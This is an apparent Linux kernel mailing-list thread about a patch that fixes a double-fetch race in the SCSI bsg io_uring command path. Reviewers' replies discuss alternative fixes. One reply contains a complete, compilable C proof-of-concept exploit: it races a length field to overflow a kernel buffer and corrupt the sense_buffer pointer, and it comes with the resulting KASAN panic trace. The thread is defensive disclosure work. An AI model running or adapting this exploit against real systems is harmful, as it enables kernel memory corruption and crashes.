* [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE
@ 2026-05-27 10:59 Rahul Chandelkar
2026-05-27 16:03 ` Bart Van Assche
` (2 more replies)
0 siblings, 3 replies; 11+ messages in thread
From: Rahul Chandelkar @ 2026-05-27 10:59 UTC (permalink / raw)
To: rc, James E . J . Bottomley, Martin K . Petersen, Jens Axboe,
FUJITA Tomonori
Cc: linux-scsi, linux-block, io-uring, linux-kernel, stable
scsi_bsg_uring_cmd() and scsi_bsg_map_user_buffer() read bsg_uring_cmd
fields directly from the shared mmap'd io_uring submission ring via
io_uring_sqe128_cmd(). On the inline execution path, io_uring has not
yet copied the SQE to kernel memory, so a concurrent userspace thread
can modify fields between reads.
cmd->request_len is read for the bounds check, for the cmd_len
assignment, and for the copy_from_user length. A racing thread can
change request_len between the bounds check (passes with <= 32) and
copy_from_user (uses the enlarged value), overflowing the 32-byte
scmd->cmnd[] buffer into subsequent struct scsi_cmnd fields.
scsi_bsg_map_user_buffer() independently re-derives its cmd pointer
from the same shared SQE, re-reading dout_xfer_len, din_xfer_len,
dout_xferp, and din_xferp, enabling direction confusion and buffer
length races.
Copy struct bsg_uring_cmd to a stack-local variable before use in both
functions. The pointer variable 'cmd' is redirected to the local copy
so the rest of each function is unchanged.
Tested with KASAN on QEMU (virtio-scsi, 2 vCPUs). Without this fix,
a two-thread race produces:
BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0
Write of size 96 at addr dead000000001000 by task poc/67
Call Trace:
kasan_report+0xce/0x100
__asan_memset+0x23/0x50
scsi_queue_rq+0x4a3/0x58a0
scsi_bsg_uring_cmd+0x942/0x1570
io_uring_cmd+0x2f6/0x950
io_issue_sqe+0xe5/0x22d0
Fixes: 7b6d3255e7f8 ("scsi: bsg: add io_uring passthrough handler")
Cc: stable@vger.kernel.org
Signed-off-by: Rahul Chandelkar <rc@rexion.ai>
---
drivers/scsi/scsi_bsg.c | 23 ++++++++++++++++++-----
1 file changed, 18 insertions(+), 5 deletions(-)
diff --git a/drivers/scsi/scsi_bsg.c b/drivers/scsi/scsi_bsg.c
index e80dec53174e..244740655eb0 100644
--- a/drivers/scsi/scsi_bsg.c
+++ b/drivers/scsi/scsi_bsg.c
@@ -78,13 +78,21 @@ static int scsi_bsg_map_user_buffer(struct request *req,
struct io_uring_cmd *ioucmd,
unsigned int issue_flags, gfp_t gfp_mask)
{
- const struct bsg_uring_cmd *cmd = io_uring_sqe128_cmd(ioucmd->sqe, struct bsg_uring_cmd);
- bool is_write = cmd->dout_xfer_len > 0;
- u64 buf_addr = is_write ? cmd->dout_xferp : cmd->din_xferp;
- unsigned long buf_len = is_write ? cmd->dout_xfer_len : cmd->din_xfer_len;
+ struct bsg_uring_cmd local_cmd;
+ const struct bsg_uring_cmd *cmd;
+ bool is_write;
+ u64 buf_addr;
+ unsigned long buf_len;
struct iov_iter iter;
int ret;
+ memcpy(&local_cmd, io_uring_sqe128_cmd(ioucmd->sqe, struct bsg_uring_cmd),
+ sizeof(local_cmd));
+ cmd = &local_cmd;
+ is_write = cmd->dout_xfer_len > 0;
+ buf_addr = is_write ? cmd->dout_xferp : cmd->din_xferp;
+ buf_len = is_write ? cmd->dout_xfer_len : cmd->din_xfer_len;
+
if (ioucmd->flags & IORING_URING_CMD_FIXED) {
ret = io_uring_cmd_import_fixed(buf_addr, buf_len,
is_write ? WRITE : READ,
@@ -104,13 +112,18 @@ static int scsi_bsg_uring_cmd(struct request_queue *q, struct io_uring_cmd *iouc
unsigned int issue_flags, bool open_for_write)
{
struct scsi_bsg_uring_cmd_pdu *pdu = scsi_bsg_uring_cmd_pdu(ioucmd);
- const struct bsg_uring_cmd *cmd = io_uring_sqe128_cmd(ioucmd->sqe, struct bsg_uring_cmd);
+ struct bsg_uring_cmd local_cmd;
+ const struct bsg_uring_cmd *cmd;
struct scsi_cmnd *scmd;
struct request *req;
blk_mq_req_flags_t blk_flags = 0;
gfp_t gfp_mask = GFP_KERNEL;
int ret;
+ memcpy(&local_cmd, io_uring_sqe128_cmd(ioucmd->sqe, struct bsg_uring_cmd),
+ sizeof(local_cmd));
+ cmd = &local_cmd;
+
if (cmd->protocol != BSG_PROTOCOL_SCSI ||
cmd->subprotocol != BSG_SUB_PROTOCOL_SCSI_CMD)
return -EINVAL;
--
2.54.0
^ permalink raw reply related [flat|nested] 11+ messages in thread* Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE 2026-05-27 10:59 [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE Rahul Chandelkar @ 2026-05-27 16:03 ` Bart Van Assche 2026-05-27 16:06 ` Jens Axboe 2026-05-27 19:17 ` [PATCH v2] scsi: bsg: read io_uring command fields once Rahul Chandelkar 2 siblings, 0 replies; 11+ messages in thread From: Bart Van Assche @ 2026-05-27 16:03 UTC (permalink / raw) To: Rahul Chandelkar, James E . J . Bottomley, Martin K . Petersen, Jens Axboe, FUJITA Tomonori Cc: linux-scsi, linux-block, io-uring, linux-kernel, stable On 5/27/26 3:59 AM, Rahul Chandelkar wrote: > scsi_bsg_uring_cmd() and scsi_bsg_map_user_buffer() read bsg_uring_cmd > fields directly from the shared mmap'd io_uring submission ring via > io_uring_sqe128_cmd(). On the inline execution path, io_uring has not > yet copied the SQE to kernel memory, so a concurrent userspace thread > can modify fields between reads. Reviewed-by: Bart Van Assche <bvanassche@acm.org> ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE 2026-05-27 10:59 [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE Rahul Chandelkar 2026-05-27 16:03 ` Bart Van Assche @ 2026-05-27 16:06 ` Jens Axboe 2026-05-27 16:19 ` Rahul Chandelkar 2026-05-27 19:17 ` [PATCH v2] scsi: bsg: read io_uring command fields once Rahul Chandelkar 2 siblings, 1 reply; 11+ messages in thread From: Jens Axboe @ 2026-05-27 16:06 UTC (permalink / raw) To: Rahul Chandelkar, James E . J . Bottomley, Martin K . Petersen, FUJITA Tomonori Cc: linux-scsi, linux-block, io-uring, linux-kernel, stable On 5/27/26 4:59 AM, Rahul Chandelkar wrote: > scsi_bsg_uring_cmd() and scsi_bsg_map_user_buffer() read bsg_uring_cmd > fields directly from the shared mmap'd io_uring submission ring via > io_uring_sqe128_cmd(). On the inline execution path, io_uring has not > yet copied the SQE to kernel memory, so a concurrent userspace thread > can modify fields between reads. > > cmd->request_len is read for the bounds check, for the cmd_len > assignment, and for the copy_from_user length. A racing thread can > change request_len between the bounds check (passes with <= 32) and > copy_from_user (uses the enlarged value), overflowing the 32-byte > scmd->cmnd[] buffer into subsequent struct scsi_cmnd fields. > > scsi_bsg_map_user_buffer() independently re-derives its cmd pointer > from the same shared SQE, re-reading dout_xfer_len, din_xfer_len, > dout_xferp, and din_xferp, enabling direction confusion and buffer > length races. > > Copy struct bsg_uring_cmd to a stack-local variable before use in both > functions. The pointer variable 'cmd' is redirected to the local copy > so the rest of each function is unchanged. > > Tested with KASAN on QEMU (virtio-scsi, 2 vCPUs). Without this fix, > a two-thread race produces: > > BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0 > Write of size 96 at addr dead000000001000 by task poc/67 > Call Trace: > kasan_report+0xce/0x100 > __asan_memset+0x23/0x50 > scsi_queue_rq+0x4a3/0x58a0 > scsi_bsg_uring_cmd+0x942/0x1570 > io_uring_cmd+0x2f6/0x950 > io_issue_sqe+0xe5/0x22d0 I don't think this is the right way to fix it, ->sqe should've been stable upfront if this ends up happening. Can you share your poc with me? Your trace has been trimmed down way too much to be useful. -- Jens Axboe ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE 2026-05-27 16:06 ` Jens Axboe @ 2026-05-27 16:19 ` Rahul Chandelkar 2026-05-27 16:27 ` Caleb Sander Mateos 0 siblings, 1 reply; 11+ messages in thread From: Rahul Chandelkar @ 2026-05-27 16:19 UTC (permalink / raw) To: axboe Cc: James.Bottomley, martin.petersen, fujita.tomonori, linux-scsi, linux-block, io-uring On Wed, May 27, 2026 at 10:06:44AM -0600, Jens Axboe wrote: > I don't think this is the right way to fix it, ->sqe should've been > stable upfront if this ends up happening. Can you share your poc with > me? Your trace has been trimmed down way too much to be useful. Agreed that a core-level copy before the inline callback would be the right fix and would eliminate the entire class for every uring_cmd driver. The per-driver copy was meant as a minimal backportable fix for the immediate scsi_bsg path. PoC and full trace below. --- PoC (poc_bsg_toctou.c) --- Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c Usage: ./poc /dev/bsg/X Needs: 2+ CPUs, io_uring, /dev/bsg/* access The racer thread flips request_len between 16 (passes the <=32 bounds check) and 128 (used by copy_from_user, overflows scmd->cmnd[32]). The overflow payload plants 0xdead000000001000 at the sense_buffer pointer offset (+84 from cmnd[0]). When scsi_queue_rq() does memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE) it faults on the corrupted pointer. Tested on v7.1-rc1, KASAN, QEMU virtio-scsi, 2 vCPUs. /* * PoC: SCSI BSG uring_cmd TOCTOU heap buffer overflow * * Overflows scmd->cmnd[32] to corrupt sense_buffer pointer. * On successful race, memset(corrupted_sense_buffer, 0, 96) in * scsi_queue_rq() causes a kernel fault proving the vulnerability. * * Usage: ./poc /dev/bsg/X * Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sched.h> #include <stdatomic.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/io_uring.h> struct bsg_uring_cmd { uint64_t request; uint32_t request_len; uint32_t protocol; uint32_t subprotocol; uint32_t max_response_len; uint64_t response; uint64_t dout_xferp; uint32_t dout_xfer_len; uint32_t dout_iovec_count; uint64_t din_xferp; uint32_t din_xfer_len; uint32_t din_iovec_count; uint32_t timeout_ms; uint8_t reserved[12]; }; #define QUEUE_DEPTH 4 #define OVERFLOW_LEN 128 #define SAFE_LEN 16 static atomic_int stop_flag = 0; static int sys_io_uring_setup(unsigned entries, struct io_uring_params *p) { return syscall(__NR_io_uring_setup, entries, p); } static int sys_io_uring_enter(int fd, unsigned to_submit, unsigned min_complete, unsigned flags) { return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, NULL, 0); } struct race_ctx { volatile uint32_t *target; int cpu; }; static void *racer_thread(void *arg) { struct race_ctx *ctx = arg; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(ctx->cpu, &cpuset); sched_setaffinity(0, sizeof(cpuset), &cpuset); while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) { *ctx->target = OVERFLOW_LEN; *ctx->target = OVERFLOW_LEN; *ctx->target = OVERFLOW_LEN; *ctx->target = OVERFLOW_LEN; } return NULL; } int main(int argc, char **argv) { struct io_uring_params params; int ring_fd, bsg_fd; void *sq_ring, *cq_ring, *sqe_ring; unsigned *sq_head, *sq_tail, *sq_mask, *sq_array; unsigned *cq_head, *cq_tail, *cq_mask; size_t sqe_stride; pthread_t racer; struct race_ctx rctx; int i, attempts = 0; int max_attempts = 500000; if (argc < 2) { fprintf(stderr, "Usage: %s /dev/bsg/X\n", argv[0]); return 1; } bsg_fd = open(argv[1], O_RDWR); if (bsg_fd < 0) { perror("open bsg"); return 1; } cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(0, &cpuset); sched_setaffinity(0, sizeof(cpuset), &cpuset); memset(¶ms, 0, sizeof(params)); params.flags = IORING_SETUP_SQE128 | IORING_SETUP_CQE32; ring_fd = sys_io_uring_setup(QUEUE_DEPTH, ¶ms); if (ring_fd < 0) { perror("io_uring_setup"); return 1; } size_t sq_ring_sz = params.sq_off.array + params.sq_entries * sizeof(unsigned); sq_ring = mmap(NULL, sq_ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_SQ_RING); sq_head = sq_ring + params.sq_off.head; sq_tail = sq_ring + params.sq_off.tail; sq_mask = sq_ring + params.sq_off.ring_mask; sq_array = sq_ring + params.sq_off.array; sqe_stride = 2 * sizeof(struct io_uring_sqe); sqe_ring = mmap(NULL, params.sq_entries * sqe_stride, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_SQES); size_t cqe_size = sizeof(struct io_uring_cqe) + 16; size_t cq_ring_sz = params.cq_off.cqes + params.cq_entries * cqe_size; cq_ring = mmap(NULL, cq_ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_CQ_RING); cq_head = cq_ring + params.cq_off.head; cq_tail = cq_ring + params.cq_off.tail; cq_mask = cq_ring + params.cq_off.ring_mask; unsigned char payload[OVERFLOW_LEN]; memset(payload, 0x41, sizeof(payload)); payload[0] = 0x12; /* INQUIRY opcode */ uint64_t bad_sense = 0xdead000000001000ULL; memcpy(payload + 84, &bad_sense, 8); printf("[*] SCSI BSG uring_cmd TOCTOU PoC\n"); printf("[*] Target: %s\n", argv[1]); printf("[*] Overflow: %d -> %d bytes (sense_buffer at +84)\n", SAFE_LEN, OVERFLOW_LEN); printf("[*] Bad sense_buffer: 0x%lx\n", (unsigned long)bad_sense); rctx.cpu = 1; while (attempts < max_attempts) { unsigned tail = *sq_tail; unsigned idx = tail & *sq_mask; struct io_uring_sqe *sqe = (struct io_uring_sqe *)((char *)sqe_ring + idx * sqe_stride); memset(sqe, 0, sqe_stride); sqe->opcode = IORING_OP_URING_CMD; sqe->fd = bsg_fd; struct bsg_uring_cmd *cmd = (struct bsg_uring_cmd *)((char *)sqe + 48); cmd->request = (uint64_t)(unsigned long)payload; cmd->request_len = SAFE_LEN; cmd->protocol = 0; cmd->subprotocol = 0; cmd->max_response_len = 96; cmd->timeout_ms = 1000; rctx.target = &cmd->request_len; if (attempts == 0) { pthread_create(&racer, NULL, racer_thread, &rctx); usleep(1000); } sq_array[idx] = idx; cmd->request_len = SAFE_LEN; __atomic_store_n(sq_tail, tail + 1, __ATOMIC_RELEASE); sys_io_uring_enter(ring_fd, 1, 1, IORING_ENTER_GETEVENTS); while (*cq_head != *cq_tail) __atomic_store_n(cq_head, *cq_head + 1, __ATOMIC_RELEASE); attempts++; if (attempts % 50000 == 0) printf("[*] %d attempts...\n", attempts); } atomic_store(&stop_flag, 1); pthread_join(racer, NULL); printf("[!] %d attempts done. Check dmesg for crash.\n", attempts); close(bsg_fd); close(ring_fd); return 0; } --- Full KASAN trace (untruncated) --- [ 4.784469] ================================================================== [ 4.784815] BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0 [ 4.785140] Write of size 96 at addr dead000000001000 by task poc/67 [ 4.785443] [ 4.785529] CPU: 0 UID: 0 PID: 67 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(lazy) [ 4.785532] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 4.785534] Call Trace: [ 4.785536] <TASK> [ 4.785537] dump_stack_lvl+0x53/0x70 [ 4.785540] kasan_report+0xce/0x100 [ 4.785543] ? scsi_queue_rq+0x4a3/0x58a0 [ 4.785546] kasan_check_range+0x105/0x1b0 [ 4.785549] __asan_memset+0x23/0x50 [ 4.785550] scsi_queue_rq+0x4a3/0x58a0 [ 4.785553] ? __pfx_scsi_queue_rq+0x10/0x10 [ 4.785556] ? scsi_mq_get_budget+0xa8/0x670 [ 4.785558] blk_mq_dispatch_rq_list+0x462/0x42b0 [ 4.785561] ? blk_mq_rq_ctx_init+0x57a/0xcc0 [ 4.785564] ? __pfx_blk_mq_dispatch_rq_list+0x10/0x10 [ 4.785566] ? __pfx__raw_spin_lock+0x10/0x10 [ 4.785569] __blk_mq_sched_dispatch_requests+0x2e2/0x23a0 [ 4.785574] ? __pfx___blk_mq_sched_dispatch_requests+0x10/0x10 [ 4.785580] ? blk_mq_insert_request+0x402/0x13f0 [ 4.785582] blk_mq_sched_dispatch_requests+0xec/0x270 [ 4.785584] blk_mq_run_hw_queue+0x797/0x10e0 [ 4.785586] scsi_bsg_uring_cmd+0x942/0x1570 [ 4.785588] ? __pfx_scsi_bsg_uring_cmd+0x10/0x10 [ 4.785594] io_uring_cmd+0x2f6/0x950 [ 4.785599] __io_issue_sqe+0xb6/0xcc0 [ 4.785601] io_issue_sqe+0xe5/0x22d0 [ 4.785606] ? io_uring_cmd_prep+0x619/0xa10 [ 4.785609] io_submit_sqes+0xb4a/0x4540 [ 4.785614] __do_sys_io_uring_enter+0x148c/0x2f50 [ 4.785618] do_syscall_64+0xf9/0x540 [ 4.785621] entry_SYSCALL_64_after_hwframe+0x77/0x7f Second fault (completion path reading corrupted sense_buffer): [ 4.799563] KASAN: maybe wild-memory-access in range [0xdead000000001000-0xdead000000001007] [ 4.800411] RIP: 0010:scsi_normalize_sense+0x47/0x480 [ 4.803461] R12: dead000000001000 [ 4.841254] Kernel panic - not syncing: Fatal exception in interrupt R12 holds the corrupted sense_buffer pointer (0xdead000000001000), confirming the overflow overwrote sense_buffer at the expected offset. The io_submit_sqes -> io_issue_sqe -> io_uring_cmd -> scsi_bsg_uring_cmd path shows this is the inline execution path where the SQE has not been copied to kernel memory yet. Rahul ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE 2026-05-27 16:19 ` Rahul Chandelkar @ 2026-05-27 16:27 ` Caleb Sander Mateos 2026-05-27 16:45 ` Jens Axboe 0 siblings, 1 reply; 11+ messages in thread From: Caleb Sander Mateos @ 2026-05-27 16:27 UTC (permalink / raw) To: Rahul Chandelkar Cc: axboe, James.Bottomley, martin.petersen, fujita.tomonori, linux-scsi, linux-block, io-uring On Wed, May 27, 2026 at 9:19 AM Rahul Chandelkar <rc@rexion.ai> wrote: > > On Wed, May 27, 2026 at 10:06:44AM -0600, Jens Axboe wrote: > > I don't think this is the right way to fix it, ->sqe should've been > > stable upfront if this ends up happening. Can you share your poc with > > me? Your trace has been trimmed down way too much to be useful. > > Agreed that a core-level copy before the inline callback would be the > right fix and would eliminate the entire class for every uring_cmd > driver. The per-driver copy was meant as a minimal backportable fix > for the immediate scsi_bsg path. > > PoC and full trace below. > > --- PoC (poc_bsg_toctou.c) --- > > Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c > Usage: ./poc /dev/bsg/X > Needs: 2+ CPUs, io_uring, /dev/bsg/* access > > The racer thread flips request_len between 16 (passes the <=32 bounds > check) and 128 (used by copy_from_user, overflows scmd->cmnd[32]). > The overflow payload plants 0xdead000000001000 at the sense_buffer > pointer offset (+84 from cmnd[0]). When scsi_queue_rq() does > memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE) it faults on the > corrupted pointer. Then the fix is to use READ_ONCE() to access the SQE fields, right? Copying the entire SQE seems like unnecessary overhead. See nvme_uring_cmd_io() for prior art. Best, Caleb > > Tested on v7.1-rc1, KASAN, QEMU virtio-scsi, 2 vCPUs. > > /* > * PoC: SCSI BSG uring_cmd TOCTOU heap buffer overflow > * > * Overflows scmd->cmnd[32] to corrupt sense_buffer pointer. > * On successful race, memset(corrupted_sense_buffer, 0, 96) in > * scsi_queue_rq() causes a kernel fault proving the vulnerability. > * > * Usage: ./poc /dev/bsg/X > * Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c > */ > > #define _GNU_SOURCE > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <unistd.h> > #include <fcntl.h> > #include <pthread.h> > #include <sched.h> > #include <stdatomic.h> > #include <stdint.h> > #include <sys/mman.h> > #include <sys/syscall.h> > #include <linux/io_uring.h> > > struct bsg_uring_cmd { > uint64_t request; > uint32_t request_len; > uint32_t protocol; > uint32_t subprotocol; > uint32_t max_response_len; > uint64_t response; > uint64_t dout_xferp; > uint32_t dout_xfer_len; > uint32_t dout_iovec_count; > uint64_t din_xferp; > uint32_t din_xfer_len; > uint32_t din_iovec_count; > uint32_t timeout_ms; > uint8_t reserved[12]; > }; > > #define QUEUE_DEPTH 4 > #define OVERFLOW_LEN 128 > #define SAFE_LEN 16 > > static atomic_int stop_flag = 0; > > static int sys_io_uring_setup(unsigned entries, struct io_uring_params *p) > { > return syscall(__NR_io_uring_setup, entries, p); > } > > static int sys_io_uring_enter(int fd, unsigned to_submit, > unsigned min_complete, unsigned flags) > { > return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, > flags, NULL, 0); > } > > struct race_ctx { > volatile uint32_t *target; > int cpu; > }; > > static void *racer_thread(void *arg) > { > struct race_ctx *ctx = arg; > cpu_set_t cpuset; > > CPU_ZERO(&cpuset); > CPU_SET(ctx->cpu, &cpuset); > sched_setaffinity(0, sizeof(cpuset), &cpuset); > > while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) { > *ctx->target = OVERFLOW_LEN; > *ctx->target = OVERFLOW_LEN; > *ctx->target = OVERFLOW_LEN; > *ctx->target = OVERFLOW_LEN; > } > return NULL; > } > > int main(int argc, char **argv) > { > struct io_uring_params params; > int ring_fd, bsg_fd; > void *sq_ring, *cq_ring, *sqe_ring; > unsigned *sq_head, *sq_tail, *sq_mask, *sq_array; > unsigned *cq_head, *cq_tail, *cq_mask; > size_t sqe_stride; > pthread_t racer; > struct race_ctx rctx; > int i, attempts = 0; > int max_attempts = 500000; > > if (argc < 2) { > fprintf(stderr, "Usage: %s /dev/bsg/X\n", argv[0]); > return 1; > } > > bsg_fd = open(argv[1], O_RDWR); > if (bsg_fd < 0) { > perror("open bsg"); > return 1; > } > > cpu_set_t cpuset; > CPU_ZERO(&cpuset); > CPU_SET(0, &cpuset); > sched_setaffinity(0, sizeof(cpuset), &cpuset); > > memset(¶ms, 0, sizeof(params)); > params.flags = IORING_SETUP_SQE128 | IORING_SETUP_CQE32; > > ring_fd = sys_io_uring_setup(QUEUE_DEPTH, ¶ms); > if (ring_fd < 0) { > perror("io_uring_setup"); > return 1; > } > > size_t sq_ring_sz = params.sq_off.array + > params.sq_entries * sizeof(unsigned); > sq_ring = mmap(NULL, sq_ring_sz, PROT_READ | PROT_WRITE, > MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_SQ_RING); > > sq_head = sq_ring + params.sq_off.head; > sq_tail = sq_ring + params.sq_off.tail; > sq_mask = sq_ring + params.sq_off.ring_mask; > sq_array = sq_ring + params.sq_off.array; > > sqe_stride = 2 * sizeof(struct io_uring_sqe); > sqe_ring = mmap(NULL, params.sq_entries * sqe_stride, > PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, > ring_fd, IORING_OFF_SQES); > > size_t cqe_size = sizeof(struct io_uring_cqe) + 16; > size_t cq_ring_sz = params.cq_off.cqes + > params.cq_entries * cqe_size; > cq_ring = mmap(NULL, cq_ring_sz, PROT_READ | PROT_WRITE, > MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_CQ_RING); > > cq_head = cq_ring + params.cq_off.head; > cq_tail = cq_ring + params.cq_off.tail; > cq_mask = cq_ring + params.cq_off.ring_mask; > > unsigned char payload[OVERFLOW_LEN]; > memset(payload, 0x41, sizeof(payload)); > payload[0] = 0x12; /* INQUIRY opcode */ > > uint64_t bad_sense = 0xdead000000001000ULL; > memcpy(payload + 84, &bad_sense, 8); > > printf("[*] SCSI BSG uring_cmd TOCTOU PoC\n"); > printf("[*] Target: %s\n", argv[1]); > printf("[*] Overflow: %d -> %d bytes (sense_buffer at +84)\n", > SAFE_LEN, OVERFLOW_LEN); > printf("[*] Bad sense_buffer: 0x%lx\n", (unsigned long)bad_sense); > > rctx.cpu = 1; > > while (attempts < max_attempts) { > unsigned tail = *sq_tail; > unsigned idx = tail & *sq_mask; > > struct io_uring_sqe *sqe = > (struct io_uring_sqe *)((char *)sqe_ring + > idx * sqe_stride); > memset(sqe, 0, sqe_stride); > > sqe->opcode = IORING_OP_URING_CMD; > sqe->fd = bsg_fd; > > struct bsg_uring_cmd *cmd = > (struct bsg_uring_cmd *)((char *)sqe + 48); > > cmd->request = (uint64_t)(unsigned long)payload; > cmd->request_len = SAFE_LEN; > cmd->protocol = 0; > cmd->subprotocol = 0; > cmd->max_response_len = 96; > cmd->timeout_ms = 1000; > > rctx.target = &cmd->request_len; > > if (attempts == 0) { > pthread_create(&racer, NULL, racer_thread, &rctx); > usleep(1000); > } > > sq_array[idx] = idx; > > cmd->request_len = SAFE_LEN; > __atomic_store_n(sq_tail, tail + 1, __ATOMIC_RELEASE); > > sys_io_uring_enter(ring_fd, 1, 1, IORING_ENTER_GETEVENTS); > > while (*cq_head != *cq_tail) > __atomic_store_n(cq_head, *cq_head + 1, > __ATOMIC_RELEASE); > > attempts++; > if (attempts % 50000 == 0) > printf("[*] %d attempts...\n", attempts); > } > > atomic_store(&stop_flag, 1); > pthread_join(racer, NULL); > > printf("[!] %d attempts done. Check dmesg for crash.\n", attempts); > > close(bsg_fd); > close(ring_fd); > return 0; > } > > --- Full KASAN trace (untruncated) --- > > [ 4.784469] ================================================================== > [ 4.784815] BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0 > [ 4.785140] Write of size 96 at addr dead000000001000 by task poc/67 > [ 4.785443] > [ 4.785529] CPU: 0 UID: 0 PID: 67 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(lazy) > [ 4.785532] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 > [ 4.785534] Call Trace: > [ 4.785536] <TASK> > [ 4.785537] dump_stack_lvl+0x53/0x70 > [ 4.785540] kasan_report+0xce/0x100 > [ 4.785543] ? scsi_queue_rq+0x4a3/0x58a0 > [ 4.785546] kasan_check_range+0x105/0x1b0 > [ 4.785549] __asan_memset+0x23/0x50 > [ 4.785550] scsi_queue_rq+0x4a3/0x58a0 > [ 4.785553] ? __pfx_scsi_queue_rq+0x10/0x10 > [ 4.785556] ? scsi_mq_get_budget+0xa8/0x670 > [ 4.785558] blk_mq_dispatch_rq_list+0x462/0x42b0 > [ 4.785561] ? blk_mq_rq_ctx_init+0x57a/0xcc0 > [ 4.785564] ? __pfx_blk_mq_dispatch_rq_list+0x10/0x10 > [ 4.785566] ? __pfx__raw_spin_lock+0x10/0x10 > [ 4.785569] __blk_mq_sched_dispatch_requests+0x2e2/0x23a0 > [ 4.785574] ? __pfx___blk_mq_sched_dispatch_requests+0x10/0x10 > [ 4.785580] ? blk_mq_insert_request+0x402/0x13f0 > [ 4.785582] blk_mq_sched_dispatch_requests+0xec/0x270 > [ 4.785584] blk_mq_run_hw_queue+0x797/0x10e0 > [ 4.785586] scsi_bsg_uring_cmd+0x942/0x1570 > [ 4.785588] ? __pfx_scsi_bsg_uring_cmd+0x10/0x10 > [ 4.785594] io_uring_cmd+0x2f6/0x950 > [ 4.785599] __io_issue_sqe+0xb6/0xcc0 > [ 4.785601] io_issue_sqe+0xe5/0x22d0 > [ 4.785606] ? io_uring_cmd_prep+0x619/0xa10 > [ 4.785609] io_submit_sqes+0xb4a/0x4540 > [ 4.785614] __do_sys_io_uring_enter+0x148c/0x2f50 > [ 4.785618] do_syscall_64+0xf9/0x540 > [ 4.785621] entry_SYSCALL_64_after_hwframe+0x77/0x7f > > Second fault (completion path reading corrupted sense_buffer): > > [ 4.799563] KASAN: maybe wild-memory-access in range [0xdead000000001000-0xdead000000001007] > [ 4.800411] RIP: 0010:scsi_normalize_sense+0x47/0x480 > [ 4.803461] R12: dead000000001000 > [ 4.841254] Kernel panic - not syncing: Fatal exception in interrupt > > R12 holds the corrupted sense_buffer pointer (0xdead000000001000), > confirming the overflow overwrote sense_buffer at the expected offset. > > The io_submit_sqes -> io_issue_sqe -> io_uring_cmd -> scsi_bsg_uring_cmd > path shows this is the inline execution path where the SQE has not been > copied to kernel memory yet. > > Rahul > ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE 2026-05-27 16:27 ` Caleb Sander Mateos @ 2026-05-27 16:45 ` Jens Axboe 2026-05-27 16:48 ` Jens Axboe 0 siblings, 1 reply; 11+ messages in thread From: Jens Axboe @ 2026-05-27 16:45 UTC (permalink / raw) To: Caleb Sander Mateos, Rahul Chandelkar Cc: James.Bottomley, martin.petersen, fujita.tomonori, linux-scsi, linux-block, io-uring On 5/27/26 10:27 AM, Caleb Sander Mateos wrote: > On Wed, May 27, 2026 at 9:19 AM Rahul Chandelkar <rc@rexion.ai> wrote: >> >> On Wed, May 27, 2026 at 10:06:44AM -0600, Jens Axboe wrote: >>> I don't think this is the right way to fix it, ->sqe should've been >>> stable upfront if this ends up happening. Can you share your poc with >>> me? Your trace has been trimmed down way too much to be useful. >> >> Agreed that a core-level copy before the inline callback would be the >> right fix and would eliminate the entire class for every uring_cmd >> driver. The per-driver copy was meant as a minimal backportable fix >> for the immediate scsi_bsg path. >> >> PoC and full trace below. >> >> --- PoC (poc_bsg_toctou.c) --- >> >> Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c >> Usage: ./poc /dev/bsg/X >> Needs: 2+ CPUs, io_uring, /dev/bsg/* access >> >> The racer thread flips request_len between 16 (passes the <=32 bounds >> check) and 128 (used by copy_from_user, overflows scmd->cmnd[32]). >> The overflow payload plants 0xdead000000001000 at the sense_buffer >> pointer offset (+84 from cmnd[0]). When scsi_queue_rq() does >> memset(scmd->sense_buffer, 0, 